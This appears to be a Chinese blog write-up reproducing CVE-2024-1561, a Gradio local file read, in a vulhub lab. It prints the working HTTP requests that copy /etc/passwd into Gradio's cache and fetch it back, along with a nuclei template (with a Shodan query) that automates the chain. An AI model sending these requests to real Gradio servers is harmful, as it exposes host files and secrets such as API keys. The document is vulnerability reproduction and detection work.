CVE-2024-1561复现
NVD 是这样描述的
在 gradio-app/gradio 中发现了一个问题,其中
/component_server
端点不当允许使用攻击者控制的参数调用Component
类的任何方法。具体来说,通过利用Block
类的move_resource_to_block_cache()
方法,攻击者可以将文件系统上的任何文件复制到临时目录,并随后检索它。此漏洞允许未经授权的本地文件读取访问,尤其是在应用程序通过launch(share=True)
暴露于互联网时,从而允许远程攻击者读取主机上的文件。此外,部署在huggingface.co
上的 gradio 应用程序也受到影响,可能导致存储在环境变量中的敏感信息(如 API 密钥和凭证)的泄露。
参考文章
这里采用 vulhub 的 docker 搭建一个环境
vulhub/gradio/CVE-2024-1561/README.zh-cn.md at master · vulhub/vulhub
进入页面发现
这个项目之前在学习 LLM 是经常便捷构建界面使用的
访问/config
{"version":"4.12.0","mode":"interface","app_id":18156613839225795048,"dev_mode":false,"analytics_enabled":true,"components":[{"id":3,"type":"row","props":
攻击 payload
{ "component_id": "3", "data": "/etc/passwd", "fn_name": "move_resource_to_block_cache", "session_hash": "aaaaaaaaaaa"}
---》
POST /component_server HTTP/1.1Host: 43.134.9.57:7860Upgrade-Insecure-Requests: 1Priority: u=0, iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/json
{ "component_id": "3", "data": "/etc/passwd", "fn_name": "move_resource_to_block_cache", "session_hash": "aaaaaaaaaaa"}
然后构造请求包
GET /file=/tmp/gradio/916eb712d668cf14a35adf8179617549780c4070/passwd HTTP/1.1Host: 43.134.9.57:7860Upgrade-Insecure-Requests: 1Priority: u=0, iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate
结果如上,/etc/passwd
的内容展示出来了
利用 nuclie 扫描
使用 nuclie 扫描
对应的 nuclie 仓库 yaml 文件如下
id: CVE-2024-1561
info: name: Gradio Applications - Local File Read author: Diablo severity: high description: | Local file read by calling arbitrary methods of Components class impact: | Successful exploitation of this vulnerability could allow an attacker to read files on the server remediation: | Update to Gradio 4.13.0 reference: - https://huntr.com/bounties/4acf584e-2fe8-490e-878d-2d9bf2698338 - https://github.com/DiabloHTB/CVE-2024-1561 - https://nvd.nist.gov/vuln/detail/CVE-2024-1561 - https://github.com/gradio-app/gradio/commit/24a583688046867ca8b8b02959c441818bdb34a2 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2024-1561 cwe-id: CWE-29 epss-score: 0.00045 epss-percentile: 0.14639 metadata: verified: true max-request: 3 shodan-query: html:"__gradio_mode__" tags: cve,cve2024,intrusive,unauth,gradio,lfi,lfr
flow: http(1) && http(2) && http(3)
http: - raw: - | GET /config HTTP/1.1 Host: {{Hostname}}
extractors: - type: json name: first-component part: body group: 1 json: - '.components[0].id' internal: true
- raw: - | POST /component_server HTTP/1.1 Host: {{Hostname}} Content-Type: application/json
{"component_id": "{{first-component}}","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
extractors: - type: regex name: tmpath regex: - \/[a-zA-Z0-9\/]+ internal: true
- raw: - | GET /file={{tmpath}} HTTP/1.1 Host: {{Hostname}}
matchers: - type: dsl dsl: - regex('root:.*:0:0:', body) - 'contains(header, "text/plain")' condition: and# digest: 490a004630440220321f22e77b20acc61afa7b5cbf1f465becdb09178d7c23342a1d1be0a11c843502205a9d96fc3f2429ce7f2566dce2a289b2ff6529266cee50a0d24bd60336562f19:922c64590222798bb761d5b6d8e72950
结果如下
这里也是成功检测出来了